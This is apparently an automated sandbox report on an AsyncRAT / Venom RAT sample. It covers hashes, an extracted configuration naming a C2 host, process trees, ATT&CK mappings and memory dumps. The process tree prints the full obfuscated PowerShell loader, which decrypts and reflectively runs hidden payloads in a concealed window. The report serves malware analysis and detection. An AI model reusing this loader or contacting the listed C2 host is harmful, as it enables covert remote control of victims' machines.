asyncrat | c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0

General

Target

c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0.cmd
Size

82KB
MD5

0c9dd4a4644d5271be6bf540daccb191
SHA1

452415383fd54926ce19f8f78258dc57d87c98ef
SHA256

c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0
SHA512

194d82615358dfc579e508768e2b2e3357069ea626cf90415f58459943a147e0c58d600091bf8840c1e06db9962ca01b3cd2cf9f1ee3d6685bd8d62a6219eab5
SSDEEP

1536:cHkGj8vp9NrhTu1iCrjNk9CRsphfkA0tNJxCK9dLbw3/4cLT4H/INmxklg:cHB8nrhTu1L8CRsp+RtIK4v3nUcM

Score

10^/10

asyncrat venom clients execution rat

Malware Config

Extracted

Family

asyncrat

Version

5.0.5

Botnet

Venom Clients

C2

undjsj.duckdns.org:8890

Mutex

Venom_RAT_HVNC_Mutex_Venom RAT_HVNC

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/2212-30-0x000001BE5B1E0000-0x000001BE5B1F6000-memory.dmp	family_asyncrat

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

21 2212 powershell.exe
27 2212 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2212 powershell.exe
2540 powershell.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

2212 powershell.exe
2212 powershell.exe
2212 powershell.exe
2540 powershell.exe
2540 powershell.exe
2540 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2212 powershell.exe
Token: SeDebugPrivilege 2540 powershell.exe

flow	pid	process
21	2212	powershell.exe
27	2212	powershell.exe

pid	process
2212	powershell.exe
2540	powershell.exe

pid	process
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2540	powershell.exe
2540	powershell.exe
2540	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2212	powershell.exe
Token: SeDebugPrivilege	2540	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

cmd.execmd.exepowershell.exe

description	pid	process	target process
PID 2568 wrote to memory of 4872	2568	cmd.exe	cmd.exe
PID 2568 wrote to memory of 4872	2568	cmd.exe	cmd.exe
PID 2568 wrote to memory of 1116	2568	cmd.exe	cmd.exe
PID 2568 wrote to memory of 1116	2568	cmd.exe	cmd.exe
PID 1116 wrote to memory of 1672	1116	cmd.exe	cmd.exe
PID 1116 wrote to memory of 1672	1116	cmd.exe	cmd.exe
PID 1116 wrote to memory of 4748	1116	cmd.exe	cmd.exe
PID 1116 wrote to memory of 4748	1116	cmd.exe	cmd.exe
PID 1116 wrote to memory of 2212	1116	cmd.exe	powershell.exe
PID 1116 wrote to memory of 2212	1116	cmd.exe	powershell.exe
PID 2212 wrote to memory of 2540	2212	powershell.exe	powershell.exe
PID 2212 wrote to memory of 2540	2212	powershell.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:2568
- C:\Windows\system32\cmd.exe
  cmd /c \"set __=^&rem\
  2⤵
  PID:4872
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0.cmd
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1116
- - C:\Windows\system32\cmd.exe
    cmd /c \"set __=^&rem\
    3⤵
    PID:1672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0.cmd';$pbWn='CCiQDreCiQDatCiQDeCiQDDeCiQDcCiQDryCiQDptCiQDoCiQDrCiQD'.Replace('CiQD', ''),'ReaxqAidLxqAiinxqAiesxqAi'.Replace('xqAi', ''),'InQyKRvokQyKReQyKR'.Replace('QyKR', ''),'SplnwOxitnwOx'.Replace('nwOx', ''),'TwpaoranwpaosfowpaormFwpaoinawpaolBwpaolwpaoocwpaokwpao'.Replace('wpao', ''),'MHTmMainHTmMModHTmMuleHTmM'.Replace('HTmM', ''),'DjIQtejIQtcomjIQtprjIQtesjIQtsjIQt'.Replace('jIQt', ''),'GXkOEetXkOECuXkOErrXkOEenXkOEtPXkOErocXkOEeXkOEssXkOE'.Replace('XkOE', ''),'CopSQYnyTSQYnoSQYn'.Replace('SQYn', ''),'EnPEgatrPEgayPoPEgainPEgatPEga'.Replace('PEga', ''),'ElmTJxemmTJxenmTJxtAtmTJx'.Replace('mTJx', ''),'FrqclComqclCBqclCaseqclC64qclCStqclCrinqclCgqclC'.Replace('qclC', ''),'ChraKjanraKjgeraKjExraKjtenraKjsraKjioraKjnraKj'.Replace('raKj', ''),'LwzKkoawzKkdwzKk'.Replace('wzKk', '');powershell -w hidden;function YbNek($AfeKW){$JkaZj=[System.Security.Cryptography.Aes]::Create();$JkaZj.Mode=[System.Security.Cryptography.CipherMode]::CBC;$JkaZj.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$JkaZj.Key=[System.Convert]::($pbWn[11])('V0mh2MCToA3bNgC8EKO2KMAaZFb3l+ctJ6Wraknusvw=');$JkaZj.IV=[System.Convert]::($pbWn[11])('prJfwam6dZ/6yyv50tuZSA==');$fCuEB=$JkaZj.($pbWn[0])();$kBOHP=$fCuEB.($pbWn[4])($AfeKW,0,$AfeKW.Length);$fCuEB.Dispose();$JkaZj.Dispose();$kBOHP;}function hgyps($AfeKW){$ALoua=New-Object System.IO.MemoryStream(,$AfeKW);$GsRzp=New-Object System.IO.MemoryStream;$WrauX=New-Object System.IO.Compression.GZipStream($ALoua,[IO.Compression.CompressionMode]::($pbWn[6]));$WrauX.($pbWn[8])($GsRzp);$WrauX.Dispose();$ALoua.Dispose();$GsRzp.Dispose();$GsRzp.ToArray();}$dfSrb=[System.IO.File]::($pbWn[1])([Console]::Title);$CHSWN=hgyps (YbNek ([Convert]::($pbWn[11])([System.Linq.Enumerable]::($pbWn[10])($dfSrb, 5).Substring(2))));$UqEWf=hgyps (YbNek ([Convert]::($pbWn[11])([System.Linq.Enumerable]::($pbWn[10])($dfSrb, 6).Substring(2))));[System.Reflection.Assembly]::($pbWn[13])([byte[]]$UqEWf).($pbWn[9]).($pbWn[2])($null,$null);[System.Reflection.Assembly]::($pbWn[13])([byte[]]$CHSWN).($pbWn[9]).($pbWn[2])($null,$null); "
    3⤵
    PID:4748
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -ep bypass
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2212
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2540

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4196,i,11266875042087428226,16669718873272757238,262144 --variations-seed-version --mojo-platform-channel-handle=4092 /prefetch:8
1⤵
PID:4752

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zfqielgq.o05.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2212-14-0x000001BE757B0000-0x000001BE75826000-memory.dmp

Filesize
472KB

Download
memory/2212-27-0x00007FFEBE790000-0x00007FFEBE985000-memory.dmp

Filesize
2.0MB

Download
memory/2212-1-0x000001BE5B140000-0x000001BE5B162000-memory.dmp

Filesize
136KB

Download
memory/2212-12-0x00007FFE9FFB0000-0x00007FFEA0A71000-memory.dmp

Filesize
10.8MB

Download
memory/2212-13-0x000001BE756E0000-0x000001BE75724000-memory.dmp

Filesize
272KB

Download
memory/2212-0-0x00007FFE9FFB3000-0x00007FFE9FFB5000-memory.dmp

Filesize
8KB

Download
memory/2212-26-0x000001BE5B190000-0x000001BE5B1A2000-memory.dmp

Filesize
72KB

Download
memory/2212-11-0x00007FFE9FFB0000-0x00007FFEA0A71000-memory.dmp

Filesize
10.8MB

Download
memory/2212-28-0x00007FFEBE550000-0x00007FFEBE60E000-memory.dmp

Filesize
760KB

Download
memory/2212-29-0x000001BE5B1D0000-0x000001BE5B1E0000-memory.dmp

Filesize
64KB

Download
memory/2212-30-0x000001BE5B1E0000-0x000001BE5B1F6000-memory.dmp

Filesize
88KB

Download
memory/2212-34-0x00007FFE9FFB0000-0x00007FFEA0A71000-memory.dmp

Filesize
10.8MB

Download
memory/2212-35-0x00007FFE9FFB3000-0x00007FFE9FFB5000-memory.dmp

Filesize
8KB

Download
memory/2212-36-0x00007FFE9FFB0000-0x00007FFEA0A71000-memory.dmp

Filesize
10.8MB

Download

Analysis

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